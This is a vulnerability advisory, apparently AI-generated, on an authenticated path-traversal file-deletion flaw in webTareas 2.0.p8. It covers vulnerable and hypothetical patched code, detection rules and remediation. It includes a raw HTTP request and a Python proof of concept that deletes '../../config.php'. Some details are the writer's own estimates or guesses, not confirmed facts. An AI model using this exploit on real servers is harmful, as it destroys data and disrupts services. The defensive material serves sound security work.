CVE-2020-37080

Executive Summary

CVE-2020-37080 is a file deletion vulnerability in webTareas 2.0.p8, specifically within the print_layout.php administration component. An authenticated attacker can exploit this flaw by manipulating the atttmp1 parameter to delete arbitrary files on the server. The vulnerability is classified under CWE-73 (External Control of File Name or Path), enabling path traversal and unauthorized file removal. The EPSS score is 0.0%, indicating low exploitation likelihood, but the lack of a patch makes it a persistent risk for unmaintained instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. webTareas is a standalone PHP-based web application. The risk lies in the application’s own codebase, not in a package dependency.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Network (N) – accessible over the network.
• Attack Complexity (AC): Low (L) – simple parameter manipulation.
• Privileges Required (PR): Low (L) – requires authenticated access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): High (H) – files can be deleted.
• Availability (A): High (H) – deletion can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Estimated Base Score: 8.1 (High)

Threat Level: High – due to potential for critical file deletion (e.g., configuration files, logs, or application code) leading to service disruption or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the print_layout.php file within the administration panel. The atttmp1 parameter is used to specify a file path for temporary operations. Due to insufficient input validation, an attacker can supply a path with directory traversal sequences (e.g., ../../) to delete files outside the intended directory.

Root Cause: The application does not sanitize or validate the atttmp1 parameter, allowing arbitrary file deletion. The unlink() PHP function is likely called directly with the user-supplied value.

Attack Flow:

1. Authenticate to the webTareas admin panel.
2. Send a POST request to print_layout.php with atttmp1 set to a target file path.
3. The server deletes the specified file.

Impact: Deletion of critical files such as config.php, .htaccess, or system files can lead to complete application compromise or denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (webTareas 2.0.p8):

// print_layout.php (simplified)
$file_to_delete = $_POST['atttmp1'];
if (file_exists($file_to_delete)) {
    unlink($file_to_delete);
}

Patched Code (hypothetical):

// print_layout.php (patched)
$allowed_dir = '/var/www/webTareas/tmp/';
$file_to_delete = basename($_POST['atttmp1']); // Remove path traversal
$full_path = $allowed_dir . $file_to_delete;
if (file_exists($full_path) && strpos(realpath($full_path), realpath($allowed_dir)) === 0) {
    unlink($full_path);
}

Key Differences:

• The patched version restricts deletion to a specific directory.
• It uses basename() to strip directory traversal.
• It validates the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: Valid admin credentials for webTareas.

Exploit Steps:

1. Log in to the webTareas admin panel.
2. Craft a POST request to print_layout.php with the target file path.

Example Request:

POST /webTareas/admin/print_layout.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [session_cookie]

atttmp1=../../config.php

Proof of Concept (Python):

import requests

target = "http://target.com/webTareas/admin/print_layout.php"
session = requests.Session()
# Authenticate first
login_data = {"username": "admin", "password": "password"}
session.post("http://target.com/webTareas/login.php", data=login_data)

# Exploit
payload = {"atttmp1": "../../config.php"}
response = session.post(target, data=payload)
if response.status_code == 200:
    print("File deletion attempted.")

Expected Outcome: The config.php file is deleted, breaking the application.

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to print_layout.php with suspicious atttmp1 values (e.g., containing .. or absolute paths).
• Alert on file deletion events in the web server logs.

Defense:

• Apply input validation and path sanitization.
• Restrict file deletion to a specific directory.
• Implement file integrity monitoring (FIM) for critical files.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• File Paths: /var/www/webTareas/admin/print_layout.php
• HTTP Requests: POST to print_layout.php with atttmp1 parameter containing ../ or absolute paths.
• Log Entries: Web server logs showing POST /admin/print_layout.php with atttmp1=../../ patterns.
• System Changes: Unexpected deletion of files like config.php, .htaccess, or index.php.

Detection Engineering

YARA Rule

rule Detect_webTareas_File_Deletion_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2020-37080 in webTareas"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37080"
    strings:
        $s1 = "atttmp1" nocase
        $s2 = "../" nocase
        $s3 = "print_layout.php" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: webTareas File Deletion Exploit (CVE-2020-37080)
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to print_layout.php with path traversal in atttmp1 parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/print_layout.php'
        cs-uri-query|contains: 'atttmp1='
    condition: selection
falsepositives:
    - Legitimate admin operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37080 webTareas File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/print_layout.php"; http_uri; content:"atttmp1"; http_client_body; pcre:"/atttmp1=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Disable: If no patch exists, disable the print_layout.php file or restrict access via .htaccess:

   <Files "print_layout.php">
       Require all denied
   </Files>
   

3. Input Validation: Implement server-side validation to restrict file paths to a safe directory.

Long-term Measures:

• Conduct a code audit for similar vulnerabilities.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Use file integrity monitoring (e.g., Tripwire, AIDE) to detect unauthorized deletions.
• Consider migrating to a supported alternative if webTareas is no longer maintained.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.